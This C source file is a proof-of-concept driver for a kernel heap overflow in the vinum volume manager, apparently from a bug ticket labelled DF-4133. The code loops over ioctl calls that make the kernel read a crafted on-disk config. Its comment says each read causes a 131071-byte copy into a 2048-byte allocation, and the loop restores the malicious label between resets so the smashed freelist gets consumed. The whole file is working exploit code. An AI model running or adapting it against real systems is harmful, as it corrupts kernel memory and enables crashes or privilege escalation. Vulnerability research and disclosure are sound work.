DF-4133 / vinum_linemash2.c
/* * DF-4133 PoC driver: repeat the crafted-disk config read after restoring * the on-disk label between VINUM_RESETCONFIG cycles, so every iteration * performs both the 131071-byte line-copy overflow AND a subsequent fresh * kmalloc(2048) (the next config_line), which consumes the smashed zone * freelist. */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define BUFSIZE 1024 #define VINUM_CREATE _IOC(IOC_INOUT, 'F', 64, BUFSIZE) #define VINUM_RESETCONFIG _IOC(0, 'F', 73, 0) static int ctl; static int relabel(const char *part) { char lbl[512]; int in, out; ssize_t n; in = open("/root/poc/lbl.bin", O_RDONLY); if (in < 0) return -1; n = read(in, lbl, sizeof(lbl)); close(in); if (n != 512) return -1; out = open(part, O_RDWR); if (out < 0) return -1; if (lseek(out, 4096, SEEK_SET) != 4096) { close(out); return -1; } n = write(out, lbl, sizeof(lbl)); close(out); return (n == 512) ? 0 : -1; } static void read_drive_cfg(const char *part) { char buf[BUFSIZE]; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "read %s", part); if (ioctl(ctl, VINUM_CREATE, buf) < 0) printf(" read errno=%d reply.error=%d\n", errno, *(int *)buf); } int main(int argc, char **argv) { const char *part = (argc > 1) ? argv[1] : "/dev/vn0s1a"; int iters = (argc > 2) ? atoi(argv[2]) : 8; int i; ctl = open("/dev/vinum/control", O_RDWR); if (ctl < 0) { perror("open /dev/vinum/control"); return 1; } for (i = 0; i < iters; i++) { printf("iter %d\n", i); fflush(stdout); read_drive_cfg(part); /* overflow + parse */ if (ioctl(ctl, VINUM_RESETCONFIG, 0) < 0) printf(" resetconfig errno=%d\n", errno); if (relabel(part) < 0) printf(" relabel failed\n"); } printf("survived %d iterations\n", iters); return 0; } |